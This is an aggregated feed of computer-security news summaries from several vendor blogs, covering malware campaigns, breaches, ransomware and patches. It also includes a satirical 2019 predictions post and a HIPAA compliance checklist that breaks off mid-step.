Threat News Ledger

News, opinion, advice and research on computer security threats from Sophos

It's just one of many SOP SNAFUs of a pilot program for advanced searches of travelers' devices that doesn't even have performance metrics.

Computer manufacturer Supermicro is still trying to lay to rest reports that the Chinese government tempered with its equipment to spy on Western cloud users.

Here's the latest Naked Security podcast - enjoy!

If you find patching security flaws strangely satisfying, you’re in luck - Microsoft’s and Adobe’s December Patch Tuesdays have arrived with plenty for the dedicated updater to get stuck into.

Flaws in the mobile site were leaving users vulnerable to attackers who could have reset their user passwords and hijacked their accounts.

Google has disclosed the second security hole in its Google+ social network in three months.

As CAPTCHA-haters know to their frequent irritation, the death of the text-based Completely Automated Procedures for Telling Computers and Humans Apart tends to be exaggerated.

Data brokers are tracking 200 million mobile devices in the US, updating locations up to 14,000 times a day, the New York Times has found.

What’s the safest way to buy counterfeit banknotes? Not on the dark web market, as 235 people have just discovered to their cost.

George Duke-Cohan is the British teen who posed as a worried father whose daughter had called him mid-flight during a hijacking.

Online headquarters of Kaspersky Lab security experts.

Average spam volume of 49.66% in world mail traffic in this quarter fell 2.16 p.p. in comparison with the previous reporting period, and the Antiphishing system prevented more than 107M attempts to connect users to phishing sites, which is 17M more than in the first quarter of 2018.

In the last few days, our anti-ransomware module has been detecting a new variant of malware - KeyPass ransomware. According to our information, the malware is propagated by means of fake installers that download the ransomware module.

Olympic Destroyer worm, Roaming Mantis mobile banker, Operation Parliament cyber-espionage campaign, SynAck ransomware and other notable targeted attacks and malware campaigns of Q2 2018.

In Q2 2018, attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 215,762 users, ransomware attacks were registered on the computers of 158,921 unique users.

It’s easy to notice if you've fallen victim to an advertising partner program: the system has new apps that you didn’t install, ad pages spontaneously open in the browser, ads appear on sites where they never used to, and so on. If you notice these symptoms on your computer, 99% of the time it’s “partner stuff”.

Kaspersky Lab ICS CERT has identified a new wave of phishing emails with malicious attachments targeting primarily companies and organizations that are, in one way or another, associated with industrial production.

Recently, an interesting miner implementation appeared on Kaspersky Lab’s radar. The malware, which we dubbed PowerGhost, is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers.

The growing popularity of car sharing services has led some experts to predict an end to private car ownership in big cities. But information security specialists have started raising some pertinent questions: how are the users of these services protected and what potential risks do they face in the event of unauthorized access to their accounts?

In H1 2018, the average and maximum attack power fell significantly compared to H2 2017. In Q2 2018, cybercriminals continued the above-outlined trend of searching for exotic holes in UDP transport protocols. It surely won’t be long before we hear about other sophisticated methods of attack amplification.

As researchers we interesting in developmental prototypes of malware that have had limited distribution or not even occurred in the wild. We recently came across one such sample: a macOS backdoor that we named Calisto.

Read, think, share … Security is everyone's responsibility

InfoArmor discovered a misconfigured server online that contained taxpayer identification numbers for 120 million Brazilian taxpayers In March 2018, security experts at InfoArmor discovered a misconfigured server online that contained taxpayer identification numbers, or Cadastro de Pessoas Físicas (CPFs), for 120 million Brazilian nationals. It is not clear how long data remained exposed online or who accessed them. […] The post ID Numbers for 120 Million Brazilians taxpayers exposed online appeared first on Security Affairs.

A new variant of the Shamoon malware, aka DistTrack, was uploaded to VirusTotal from Italy this week, but experts haven’t linked it to a specific attack yet. Shamoon was first observed in 2012 when it infected and wiped more than 30,000 systems at Saudi Aramco and other oil companies in the Middle East. Four years later, a […] The post A new variant of Shamoon was uploaded to Virus Total while Saipem was under attack appeared first on Security Affairs.

Some of the servers of the Italian oil and gas services company Saipem were hit by a cyber attack early this week.  Saipem has customers in more than 60 countries, including Saudi Arabian oil and gas giant Saudi Aramco. It could be considered a strategic target for a broad range of threat actors. The attack has […] The post Cyber attack hit the Italian oil and gas services company Saipem appeared first on Security Affairs.

Experts from Kaspersky Lab reported that that the recently patched Windows kernel zero-day vulnerability (CVE-2018-8611) has been exploited by several threat actors. Microsoft’s Patch Tuesday updates for December 2018 address nearly 40 flaws, including a zero-day vulnerability affecting the Windows kernel. The flaw, tracked as CVE-2018-8611, is as a privilege escalation flaw caused by the failure of […] The post New threat actor SandCat exploited recently patched CVE-2018-8611 0day appeared first on Security Affairs.

Security experts at Trend Micro have discovered a new exploit kit, dubbed Novidade (“novelty” in Portuguese), that is targeting SOHO routers to compromise the devices connected to the network equipment. The Novidade exploit kit leverages cross-site request forgery (CSRF) to change the Domain Name System (DNS) settings of SOHO routers and redirect traffic from the connected […] The post Novidade, a new Exploit Kit is targeting SOHO Routers appeared first on Security Affairs.

Group-IB, an international company that specializes in preventing cyberattacks, has detected more than 40 000 compromised user credentials of online government services in 30 countries around the world. Most of the victims were in Italy (52%), Saudi Arabia (22%) and Portugal (5%). Users’ data might have been sold on underground hacker forums or used in targeted attacks to steal money or exfiltrate […] The post Group-IB identifies leaked credentials of 40,000 users of government websites in 30 countries appeared first on Security Affairs.

‘ The Seedworm APT Group has targeted more than 130 victims in 30 organizations since September including NGOs, oil and gas, and telecom businesses. According to a new research conducted from Symantec’s DeepSight Managed Adversary and ThreatIntelligence (MATI) team, the Seedworm APT group, aka MuddyWater, is rapidly evolving and extended its targets to the telecom, IT […] The post Seedworm APT Group targeted more than 130 victims in 30 organizations since Sept appeared first on Security Affairs.

Google announced it will close the consumer version of Google+ before than originally planned due to the discovery of a new security flaw. Google will close the consumer version of Google+ in April, four months earlier than planned. According to G Suite product management vice president David Thacker. the company will maintain only a version designed […] The post Google will shut down consumer version of Google+ earlier due to a bug appeared first on Security Affairs.

Experts from Malwarebytes discovered a new strain of Mac malware, tracked as DarthMiner, that is a combination of two open-source programs.  Experts from Malwarebytes discovered a new piece of Mac malware, tracked as DarthMiner, that is the combination of two open source tools. The malware is distributed through Adobe Zii, an application supposedly helps in the piracy […] The post A new Mac malware combines a backdoor and a crypto-miner appeared first on Security Affairs.

The British teenager George Duke-Cohan (19) has been sentenced to three years in prison due to false bomb threats and carrying out DDoS attacks.A Cohan was arrested in August by the U.K. National Crime Agency (NCA), the teenager, aka “7R1D3N7,” “DoubleParallax” and “optcz1,” was arrested on August 31 and pleaded guilty to three counts of making hoax […] The post Duke-Cohan sentenced to three years in prison due to false bomb threats and DDoS appeared first on Security Affairs.

News, views, and insight from the ESET security community

There is no evidence that the flaw was misused during the six days it was alive, said the tech giant The post Google+ to shut earlier as new bug exposed data of 52.5 million users appeared first on WeLiveSecurity

ESET researchers discovered a new Android Trojan using a novel Accessibility-abusing technique that targets the official PayPal app, and is capable of bypassing PayPal’s two-factor authentication The post Android Trojan steals money from PayPal accounts even with 2FA on appeared first on WeLiveSecurity

The “evolution” of these markets is making cybercrime easier than ever before The post Next Generation Dark Markets? Think Amazon or eBay for criminals appeared first on WeLiveSecurity

DanaBot operators have been expanding the malware’s scope with new spam-sending capability. ESET researchers discovered a set of previously undocumented Linux malware families based on OpenSSH. Plus fitness-tracking apps use dodgy in-app payments to steal money from unaware iPhone and iPad users The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

ESET research shows that DanaBot operators have been expanding the malware’s scope and possibly cooperating with another criminal group The post DanaBot evolves beyond banking Trojan with new spam-sending capability appeared first on WeLiveSecurity

ESET researchers discovered a set of previously undocumented Linux malware families based on OpenSSH. In the white paper, “The Dark Side of the ForSSHe”, they release analysis of 21 malware families to improve the prevention, detection and remediation of such threats The post The Dark Side of the ForSSHe appeared first on WeLiveSecurity

Fitness-tracking apps use dodgy in-app payments to steal money from unaware iPhone and iPad users The post Scam iOS apps promise fitness, steal money instead appeared first on WeLiveSecurity

A welcome return to the hacker conferences of yesteryear The post CyberwarCon – focusing on the impact of cyber-badness appeared first on WeLiveSecurity

Defensive steps for Marriott Starwood guests worried their personal information may have been compromised by the massive data breach The post Marriott Starwood data breach: 5 defensive steps travelers should take now appeared first on WeLiveSecurity

A recent survey carried out by ESET has revealed that Americans are worried most about cyberattacks on the financial sector, listing it above attacks against hospitals, voting systems, or energy supply companies The post Cyberattacks on financial sector worries Americans most appeared first on WeLiveSecurity

International law enforcement swoops on fake ad viewing outfit. Cyber Monday spam from Emotet. German chat site fined after GDPR data breach The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

The hacking and extortion scheme took place over a 34-month period with the SamSam ransomware affecting over 200 organizations in the US and Canada The post US indicts two over SamSam ransomware attacks appeared first on WeLiveSecurity

International law enforcement swoops on fake ad viewing outfit The post 3ve – Major online ad fraud operation disrupted appeared first on WeLiveSecurity

The country’s first fine under GDPR is lower than might have been expected, however, as the company was acknowledged for its post-incident cooperation and enhanced security measures The post German chat site faces fine under GDPR after data breach appeared first on WeLiveSecurity

As we increasingly make use of our smartphones to satisfy our shopping needs, let’s shine a light on how these hubs of our digital lives can be used to shop securely, on and around a day dedicated to online deals The post Smartphone shopping: Avoid the blues on Cyber Monday appeared first on WeLiveSecurity

New watering hole attack in Southeast Asia uncovered. The latest on Sednit. Plus some tips for Black Friday shopping The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

The suspect is believed to have carried out the scam on no fewer than six executives in the Bay Area, albeit ultimately with varying success The post New Yorker accused of stealing $1m from Silicon Valley executive via SIM swap appeared first on WeLiveSecurity

Emotet starts another massive spam campaign just as the shopping season picks up steam The post Black Friday and Cyber Monday by Emotet: Filling inboxes with infected XML macros appeared first on WeLiveSecurity

As the unofficial beginning of the holiday shopping season catches us up in the frenetic hunt for all those fantastic bargains, the shopping bonanza presents a host of risks to your online safety. Here are a few tips for going on a shopping spree and staying safe The post Good deal hunting: Staying safe on Black Friday appeared first on WeLiveSecurity

The software giant takes passwords one step closer to obsolescence as it now enables users to log into their Microsoft accounts with more modern forms of authentication The post Who needs passwords? Microsoft now lets you in with your face or security key appeared first on WeLiveSecurity

The breach exposed the personal data of 160,000 people and cost the telecom company £77 million The post Two Brits jailed for TalkTalk hack appeared first on WeLiveSecurity

In August 2018, Sednit’s operators deployed two new Zebrocy components, and since then we have seen an uptick in Zebrocy deployments, with targets in Central Asia, as well as countries in Central and Eastern Europe, notably embassies, ministries of foreign affairs, and diplomats The post Sednit: What’s going on with Zebrocy? appeared first on WeLiveSecurity

ESET researchers identified 21 distinct websites that had been compromised including some particularly notable government and media sites The post OceanLotus: New watering hole attack in Southeast Asia appeared first on WeLiveSecurity

90% of Canadians surveyed agreed that cybercrime was an important "challenge to the internal security of Canada" The post Cybersecurity a big concern in Canada as cybercrime’s impact grows appeared first on WeLiveSecurity

GDPR-themed WordPress plugin flaw exploited. Google’s data charts path to avoiding malware on Android. Plus security researchers bypass encryption on self-encrypting drives The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

Industry standard specification does not guarantee the safety of the self-encrypting drives despite verification The post Security researchers bypass encryption on self-encrypting drives appeared first on WeLiveSecurity

Almost all young people recycle their passwords, often doing so across work and personal accounts The post Employees’ cybersecurity habits worsen, survey finds appeared first on WeLiveSecurity

The campaign’s goals aren’t immediately clear, as the malefactors don’t appear to be leveraging the hijacked websites for further nefarious purposes The post Attackers exploit flaw in GDPR-themed WordPress plugin to hijack websites appeared first on WeLiveSecurity

Our trip down the malware memory lane takes us all the way back to the 1990s The post Malware of the 90s: Remembering the Michelangelo and Melissa viruses appeared first on WeLiveSecurity

How much higher are the odds that your device will be exposed to malware if you download apps from outside Google Play or if you use one of Android’s older versions? Google has the numbers The post Google’s data charts path to avoiding malware on Android appeared first on WeLiveSecurity

The recent spike in Emotet activity shows that it remains an active threat The post Emotet launches major new spam campaign appeared first on WeLiveSecurity

Latest ESET research shows just how far attackers will go in order to steal bitcoin from customers of one specific virtual currency exchange. We take a look back at some 1980s malware and also check out what Chrome 71 has in store for users. The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

This is the third time that the Air Force asks ethical hackers to uncover chinks in its digital armor The post US Air Force invites white hats to find hackable flaws, again appeared first on WeLiveSecurity

Prevention is the best option but people continue to search for the easiest way out The post The cyber insurance question appeared first on WeLiveSecurity

The move is part of Google’s continued clampdown on adverts that are intended to hoodwink users The post New Chrome version aims to remove all ads from abusive sites appeared first on WeLiveSecurity

Latest ESET research shows just how far attackers will go in order to steal bitcoin from customers of one specific virtual currency exchange The post Supply-chain attack on cryptocurrency exchange gate.io appeared first on WeLiveSecurity

This installment in our series of articles to mark Antimalware Day tells the stories behind two creations that are representative of the 1980s: a virus viewed as the first-ever PC virus and a worm that caused the greatest damage ever wrought by a piece of malware up to that point The post Malware of the 1980s: Looking back at the Brain Virus and the Morris Worm appeared first on WeLiveSecurity

Halloween has provided a timely opportunity to remind kids that not everything on the Internet is as it seems. The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

Celebrated annually on November 3, Antimalware Day is an opportunity to recognize the work of cybersecurity professionals The post Antimalware Day: The evolution of malicious code appeared first on WeLiveSecurity

The need to defend a growing threat surface highlights the widening cybersecurity skills gap The post Growing pains: Skills gap meets expanding threat surface appeared first on WeLiveSecurity

How can we help kids avoid security horrors and stay safe from rogue online “neighbors” at Halloween and thereafter? The post Five ways to make Halloween less cyber-scary for kids appeared first on WeLiveSecurity

Ransomware remains a serious threat and this new white paper explains what enterprises need to know, and do, to reduce risk The post Ransomware and the enterprise: A new white paper appeared first on WeLiveSecurity

What has the Internet brought us? And how does privacy stay anchored in the data deluge of the digital age? Here’s a brief reflection to celebrate today’s Internet Day The post Nothing exceeds like excess; or, a lack of privacy in the digital age appeared first on WeLiveSecurity

ESET research has found banking Trojans that continue to surface on Google Play The post Week in security with Tony Anscombe appeared first on WeLiveSecurity

How can you stay safe in a world where “smart” is the new default? The post IoT: A roomful of conundrums appeared first on WeLiveSecurity

The data breach at the Hong Kong flag carrier is the third such incident to hit the aviation industry in two months The post Cathay Pacific breach exposes data of 9.4 million passengers appeared first on WeLiveSecurity

ESET experts have created a new decryption tool that can be used by Syrian victims of the GandCrab ransomware. It is based on a set of keys recently released by the malware operators The post ESET releases new decryptor for Syrian victims of GandCrab ransomware appeared first on WeLiveSecurity

The malicious apps have all been removed from the official Android store but not before the apps were installed by almost 30,000 users The post Banking Trojans continue to surface on Google Play appeared first on WeLiveSecurity

As part of his plea agreement, the author of the malware also forfeited the proceeds from his crimes – 114 Bitcoin worth $725,000 The post LuminosityLink RAT author sentenced to 2.5 years in jail appeared first on WeLiveSecurity

The solution to password recycling may be easier to implement than previously thought, according to a recent paper The post Strict password policy could prevent credential reuse, paper suggests appeared first on WeLiveSecurity

Protect Your Interwebs!

The US Federal Bureau of Investigation (FBI) just released a public service announcement (PSA) to the public about a large number of websites being exploited and compromised through WordPress plugin vulnerabilities: Continuous Web site defacements are being perpetrated by individuals sympathetic to the Islamic State in the Levant (ISIL) a.k.a. Islamic State of Iraq andRead More

Security Risk: Dangerous Exploitation level: Very Easy/Remote DREAD Score: 8/10 Vulnerability: Persistent XSS Patched Version:  1.4.4 During a routine audit for our Website Firewall (WAF), we discovered a dangerous Persistent XSS vulnerability affecting the very popular WP-Super-Cache plugin (more than a million active installs according to wordpress.org). The security issue, as well as another bug-fixRead More

Last year, we released a post about a malware injector found in an Adobe Flash (.SWF) file. In that post, we showed how a .SWF file is used to inject an invisible, malicious iFrame. It appears that the author of that Flash malware continued with this method of infection. Now we are seeing more varietiesRead More

Have you ever heard of the term PCI? Specifically, PCI compliance? If you have an e-commerce website, you probably have already heard about it. But do you really understand what it means for you and your online business? In this series, we will try to explain the PCI standard and how it affects you andRead More

Darkleech is a nasty malware infection that infects web servers at the root level. It use malicious Apache modules to add hidden iFrames to certain responses. It’s difficult to detect because the malware is only active when both server and site admins are not logged in, and the iFrame is only injected once a dayRead More

I joined Sucuri a little over a month ago. My job is actually as a Social Media Specialist, but we have this process where regardless of your job you have to learn what website infections look like and more importantly, how to clean them. It’s this idea that regardless of you are you must alwaysRead More

Today, with the proliferation of open-source technologies like WordPress, Joomla! and other Content Management Systems (CMS) people around the world are able to quickly establish a virtual presence with little to no cost. In the process however, a lot is being lost in terms of what it means to own a website. We are failingRead More

The last 7 days have been very busy with a number of vulnerabilities being disclosed on multiple WordPress plugins. Some of them are minor issues, some are more relevant, while others are what we’d categorize as noise. How are you supposed to make sense of all this? To help provide some clarity on the influxRead More

Trojan (or trojan horse) is software that does (or pretends to be doing) something useful but also contains a secret malicious payload that inconspicuously does something bad. In WordPress, typical trojans are plugins and themes (usually pirated) which may have backdoors, or send out spam, create doorways, inject hidden links or malware. The trojan modelRead More

Security Risk: Critical Exploitation level: Very Easy/Remote DREAD Score: 9/10 Vulnerability: Password bypass / Privilege Escalation Patched Version:  2.0.9.2 During a routine audit of our Website Firewall (WAF), we found a critical vulnerability affecting the popular MainWP Child WordPress plugin. According to worpdress.org, it is installed on more than 90,000 WordPress sites as as remote administrationRead More

Emerging threats and malware research

We’ve been tracking some more spam dropping Zepto ransomware variants. Like earlier posts, we’re seeing infected attachments with malicious macro scripts used as the entry point for the threat actor. (See images below of some recent spam samples.) As we dig deeper into our analysis, we found out that these macro scripts are not crafted […] The post Zepto Evasion Techniques appeared first on ThreatTrack Security Labs Blog.

Recently, we’ve spotted Zepto ransomware spreading through spam email containing fake invoices (see image below). These attachments contain a Macro-Enabled word document file known as Donoff, which downloads the Zepto executable that encrypts all your files and will later ask for payment of the decryption key. We decided to take a closer look on the Donoff […] The post Donoff Macro Dropping Ransomware appeared first on ThreatTrack Security Labs Blog.

ThreatTrack Labs has recently observed a surge of spam containing a zip attachment with a WSF (Windows Scripting File) to deliver Zepto ransomware. This tactic is a change from the common JavaScript and macro documents being spammed previously. Here are actual emails featuring familiar social engineering tactics: The zip attachments contain the WSF.   An Interactive […] The post Zepto Ransomware Packed into WSF Spam appeared first on ThreatTrack Security Labs Blog.

Reports of a Zero-day attack affecting numerous Office 365 users emerged late last month (hat tip to the researchers at Avanan), and the culprit was a new variant of the Cerber ransomware discovered earlier this year. As with the other Zero-day threats that have been popping-up like mushrooms of late, the main methods of infection […] The post A Look at the Cerber Office 365 Ransomware appeared first on ThreatTrack Security Labs Blog.

TeslaCrypt is yet another ransomware taking the cyber world by storm. It is mostly distributed via a spear phishing email and through the Angler exploit kit. The Angler exploits vulnerability in Adobe Flash. The Angler exploit downloads a variant of the ransomware upon success. TeslaCrypt 3.0 possesses various updates, one of which renders encrypted files […] The post A Close Look at TeslaCrypt 3.0 Ransomware appeared first on ThreatTrack Security Labs Blog.

It’s been the norm in the cybersecurity industry to be intrigued and at the same time be infuriated by the people behind any successful large-scale malware attack. Ransomware is one such example. It’s been slowly released in the wild since the early 2009, but CryptoWall redefined the meaning of ransomware and took it to the […] The post The Day the Earth Stood Still for CryptoWall appeared first on ThreatTrack Security Labs Blog.

It is one of the most prevalent spam malware in the wild today: Locky ransomware. The Locky malware authors started their campaign last year but didn’t become very active until January 2016 – and they haven’t slowed down since. Locky e-mails usually come in with an attached zip archive and once extracted may contain a […] The post Understanding the Latest Version of Locky Ransomware appeared first on ThreatTrack Security Labs Blog.

Ransomware has become an increasingly serious threat. Cryptowall, TeslasCrypt and Locky are just some of the ransomware variants that infected large numbers of victims. Petya is the newest strain and the most devious among them. Petya will not only encrypt files but it will make the system completely useless, leaving the victim no choice but […] The post A Glimpse at Petya Ransomware appeared first on ThreatTrack Security Labs Blog.

Security researchers recently discovered that the power outage in the Ukraine in December was caused by a malware and identified as an evolved version of BlackEnergy. This Trojan, dating back to 2007, was a popular malware that was previously sold in Russian underground sites. However, its design and architecture changed from performing simple HTTP DDos attacks to […] The post Breaking Down the Malware Behind the Ukraine Power Outage appeared first on ThreatTrack Security Labs Blog.

Credit: Christopher D. Del Fierro, Lead Malware Research Engineer, ThreatTrack Security We have seen Dridex since 2014 and it is still active in the wild today. This research will be focusing on analyzing Dridex and on how it is able to remain undetected by most antivirus engines. For those not familiar with Dridex, it is a malspam […] The post What’s New with Dridex appeared first on ThreatTrack Security Labs Blog.

The most recent posts from across the AlienVault blogs.

It’s December, which means it’s time to get those 2019 cyber predictions going. While there are many well-informed, and some not-so-well informed opinions out there, I’ve dug through the cyber underground, I’ve climbed data mountains, and delved to the depths of the dark web to seek out what is really happening. Having spilt coffee, redbull, and tears, I am proud to present the soft underbelly of the cyber security industry, and what the future will hold. You’re welcome. Jayson Street will be exposed as a secret agent charged with obtaining DNA samples of as many hackers as possible. Close inspection will reveal Jayson stealing a strand of hair every time he offers an “awkward hug”. Having been outed, he will go on to start a podcast called, “The word on the Street” HaveIBeenPwned will be purchased by FireEye. Troy Hunt will take the money and move to New Zealand where he’ll setup another website called “YesYouArePwned” with Kim dot com. Bug Bounty and vulnerability disclosure pioneer Katie Moussouris will have no less than 10 instances a month of bug bounties being mansplained to her. At least 2 a month will try to prove her wrong by citing papers, without realising she authored them. Richard Bejtlich will tell the world how it’s actually Papua New Guinea that is responsible for the majority of APT’s. He’ll admit that China was initially blamed as an internal joke that went a bit too far. Jeff Moss will look in disgust at what he has created. In a fit of rage he’ll punch the ground, pull his hair yelling, “I’ve created a monster!” and cancel DEF CON. This will create a domino effect as all other conferences will come collapsing, leaving no security conferences active by the end of the year. SwiftOnSecurity is unmasked as being The Grugq who would have gotten away with it, if it weren’t for those meddling kids. Stuck in traffic YouTuber Wolf Goerlich will finally take a different route into work and realise traffic ain’t all that bad. As a result YouTube suspends his account, declaring the title misleading. Which is a polite way of saying ‘fake news’. Investigative journalist Brian Krebs may unofficially be many companies' IDS, but in 2019 he’ll take it to new heights while launching his own subscription-only service called B-KIDS (Brian Krebs IDS)  which companies can use to get the heads up if they’re going to be outed. Reunions will become common, as professionals grow bored of corporate life. L0pht Hacking Industries will furiously lobby the US government, while over in Europe the Eurotrash Security podcast will regroup and take the show on the road once again. Marcus Hutchins reveals he was never really arrested by the FBI. Claims he just wanted a bit of “me time” and thought this would be the best way. (ISC)2 will cease offering the CISSP certification, stating that there is now a global surplus of security professionals and the number needs to be reduced. Independent analyst Kelly Shortridge reveals the magic that goes into magic quadrants, waves and other analyst firms methodologies. Confidence in analyst firms will take a dip as a result. Kelly will then sell the rights to the movie, The Big Short(ridge) Award-winning blogger and podcaster Graham Cluley will go through the whole of 2019 without winning a single award. Mega breaches will have reached the tipping point and GDPR will have been found ineffective. In a last ditch effort, companies that offer affected customers a year's credit monitoring will no longer be deemed sufficient. Rather companies will be forced to create whole new identities for affected individuals, complete with backstories, like witness protection programs do. Finally, world governments will see the error of their ways and stop trying to backdoor crypto. Have a happy 2019 folks!       

Let’s face it, managing cyber risk and compliance is hard. Many organizations struggle to gain the visibility needed to truly understand their overall cyber risks. They also struggle to maintain that visibility as they take on digital business transformation and new cloud computing initiatives. It’s no easy task for organizations to continually align their security priorities to changes in the regulatory landscape, their IT environment, and an always-shifting threat landscape, especially for organizations with limited IT resources. That’s why we are excited to announce a new solution to help organizations of any size to help reduce their cyber risks and simplify their journey to work toward compliance. Together, AT&T Cybersecurity Consulting and AlienVault, an AT&T Company, are bringing together the people, process, and technology in one unified solution to help organizations improve cyber risk and compliance management. In doing so, we’re making it simple and fast for organizations to consolidate their requirements and to accelerate their security and compliance goals. Download the solution brief to learn more. “Managing cyber risk and compliance requires an ongoing review of your IT assets and data, security practices, and personnel — and no single security tool provides that holistic visibility,” said Russell Spitler, SVP of Product for AlienVault, an AT&T company, “With a unified solution from AT&T Cybersecurity Consulting and AlienVault, we can help organizations to reduce the complexity and cost of having to juggle multiple products and vendors.” This solution addresses many of the most challenging aspects of meaningful risk reduction (i.e. you are actually making progress in reducing risks, not simply “managing risks,”) and maintaining continuous compliance. The solution includes: risk assessment, scanning and remediation vulnerability assessment, employee cybersecurity awareness training,  continuous network monitoring for the latest threats, and reporting for compliance as well as for internal policy. It is ideal for organizations that are getting started with or want to accelerate their efforts for PCI DSS or HIPAA, but also for non-compliance organizations that are looking to evaluate and improve their cyber risk posture quickly and efficiently. Unlike other solutions for cyber risk and compliance that are often oversized and do not adapt to an organization’s existing security model, AlienVault and AT&T Cybersecurity Consulting offer flexible options that allow any organization to tailor-fit a solution to their unique environment, business goals, and budget. The solutions include: Risk-based Cyber Posture Assessment led by AT&T Cybersecurity Consultants ASV-provided External Vulnerability Scanning Services from AT&T Consulting Services AlienVault USM Anywhere - a unified platform for threat detection and response AT&T Cybersecurity IQ Training - cybersecurity user training and assessments For more details on the products and services included in this solution, read the solution brief here > Following AT&T Business’ acquisition of AlienVault in August, this offering is the first to combine the phenomenal threat detection and incident response capabilities of AlienVault USM Anywhere and AlienVault Labs Threat Intelligence with the world-class expertise of AT&T Cybersecurity Consulting. “It’s no secret that cybercrime has become its own industry, giving criminals access to a battery of tools for targeting victims,” said Marcus Bragg, Chief Operating Officer of AlienVault. “For the IT and security professionals who are defending against this, point solutions are no longer enough. They need all the support they can get, and that means people, process, and technology — access to security experts who can share their knowledge and experience, recommendations for best practices, and a unified platform that ties everything together, including the most up-to-date threat intelligence for threat detection and response. That’s what the future looks like in our fight against cybercrime.”   This solution is available from AlienVault and AT&T Business, so new and current customers can easily purchase the solution that works for them. To learn more about this and other cybersecurity solutions from AlienVault and AT&T, contact us to get started.         

Five steps to ensuring the protection of patient data and ongoing risk management. Maintaining security and compliance with HIPAA, the Health Insurance Portability and Accountability Act, is growing ever more challenging. The networks that house protected health information (PHI or ePHI) are becoming larger and more complex — especially as organizations move data to the cloud. At the same time, security professionals are faced with an evolving threat landscape of increasingly sophisticated threat actors and methods of attack. For example, 2018 threat intelligence research by AlienVault Labs reports a rise in the number of targeted ransomware attacks in the healthcare sector. These attacks are often backed by organized criminals who see opportunities for making money from health care providers and other similar entities who must protect and keep assets, systems, and networks continuously operating. One such criminal group operating the SamSam ransomware is thought to have earned more than $5 million dollars by manually compromising critical healthcare networks. And, according to AlienVault Labs, the methods used by SamSam are more akin to a targeted attack than typical opportunistic ransomware. To help address these security challenges and ensure adherence to compliance mandates, security and IT professionals should consider how people, processes, and technology can be used together to create a holistic IT security compliance program that simplifies preparation, auditing and reporting, as well as ongoing security risk management and breach monitoring and response. Here’s a five-step HIPAA compliance checklist to get started. Certification and Ongoing HIPAA Compliance HIPAA sets the standard for protecting sensitive patient data. Any entity that deals with protected health information must ensure that all the required physical, network, and process security measures are in place and followed. In 2009, the Health Information Technology for Economic and Clinical Health (HITECH) Act was adopted to promote the “meaningful use of health information technology” and address the privacy and security concerns associated with the electronic transmission of health information. Although there is no standard or implementation specification that requires a covered entity to “certify” compliance, the evaluation standard § 164.308(a)(8) requires covered entities to perform ongoing technical and non-technical evaluations that establish the extent to which their security policies and procedures meet the security requirements. Evaluations can be performed and documented internally or by an external organization that provides evaluation or “certification” services. However, HITECH requires the HHS Office for Civil Rights (OCR) to conduct periodic audits of covered entities and business associates for compliance with the HIPAA Privacy, Security, and Breach Notification Rules. Step 1: Start with a comprehensive risk assessment and gap analysis Your compliance strategy should start with a solid foundation, which is why the first step in your journey to HIPAA compliance should be a readiness assessment that includes a comprehensive risk and compliance analysis of your electronic health record (EHR) environment. This assessment is often best done by a third party with expertise in healthcare security and compliance, as HIPAA regulations can be confusing and cumbersome. Using a third party with the necessary expertise will ensure you don’t miss or misunderstand the required regulations, and it will save you time as they will likely have a HIPAA checklist to reference.  Your consultant can perform an initial evaluation of your entire security program to determine its adherence to HIPAA regulations and the level of readiness to proceed with the “certification” process. It’s worth noting that the OCR does not actually “certify” HIPAA compliance (see side bar), however there are organizations outside of the OCR that do provide “certification” services, and many organizations take advantage of these certification services to prove compliance. As a result of the evaluation, your consultant should provide a comprehensive report that may include such things as: Your organization’s current security and compliance posture compared to the requirements established by the OCR Audit Protocol (including the HIPAA Privacy Rule, Security Rule and the Breach Notification Rule). Prioritized recommendations for risk remediation. A road map outlining the steps and initiatives to achieve compliance and “certification”. According to the OCR, organizations that have aligned their security programs to the National Institute for Standards and Technology (NIST) Cybersecurity Framework may find it helpful as a starting place to identify potential gaps in their compliance with the HIPAA Security Rule. Addressing these gaps can bolster compliance with the Security Rule and improve the organization’s ability to secure ePHI and other critical information and business processes. Read how NIST “maps” to the HIPAA Security Rule in the HIPAA Security Rule Crosswalk to NIST Cybersecurity Framework. Step 2: Remediate identified risks and address compliance gaps Once you’ve identified your organization’s risks, take immediate steps to address the gaps within your security program. Again, a consultant who has practical experience in healthcare security will be very useful in providing strategic guidance, as well as advice on risk mitigation. Many organizations use the same consultant who performed their initial risk assessment. Your consultant may develop specific programs, policies, standards, and procedures, as well as support or help implement key security practices and controls. For example, they may assist in prioritizing vulnerabilities and make recommendations for remediation in your EHR environment. Or, they may provide pre-packaged employee security awareness training that meets HIPAA guidelines, such as educating employees on security risks and running them through attack scenarios. Make use of security technology to help you more quickly address the gaps in your compliance program — and consider platforms versus point solutions, giving you the ability to address multiple issues at once. Also, look for solutions that address both on-premises and multi-cloud environments as HIPAA regulations apply to both (see Guidance on HIPAA & Cloud Computing).  For example, look for such use cases as the automation of asset discovery and the ability to categorize those assets into HIPAA groups for easy management and reporting. Those same solutions may also perform vulnerability assessments, automate the prioritization of vulnerabilities for mitigation, and integrate with ticketing solutions to ensure the most critical are being remediated while overall risks are mitigated. Step 3: Take advantage of automated compliance reporting The evaluation standard of HIPAA requires covered entities to perform and document ongoing technical and non-technical evaluations to establish the extent to which their security policies and procedures meet the security requirements. Simplify and speed this process by taking advantage of automated compliance reporting. Look for solutions with predefined report templates for HIPAA, as well as other key regulations such as PCI DSS, NIST CSF, and ISO 27001. Consider ease-of-use, such as being able to define groups of assets — for example, a HIPAA group that includes sensitive assets connected to patient data or protected data. How easy it is to view, export, and customize the reports? What percentage of regulation coverage is included in predefined reporting? Most solutions do not cover all the requirements defined by the HIPAA Audit Protocol, but they will give you a jump on your HIPAA checklist. Many security management platforms also include additional predefined event reports, such as reports by data source and data source type, helping to make daily compliance monitoring and reporting activities more efficient. Also, look for an intuitive and flexible interface that allows you to quickly search and analyze your security data, as well as the ability to create and save custom views and export them as executive-ready reports. Finally, solutions that provide centralized visibility of your cloud and on-premises assets, vulnerabilities, threats, and log data from firewalls and other security tools are key to giving you the most complete and contextual data set for maintaining and documenting continuous compliance. Step 4: Implement 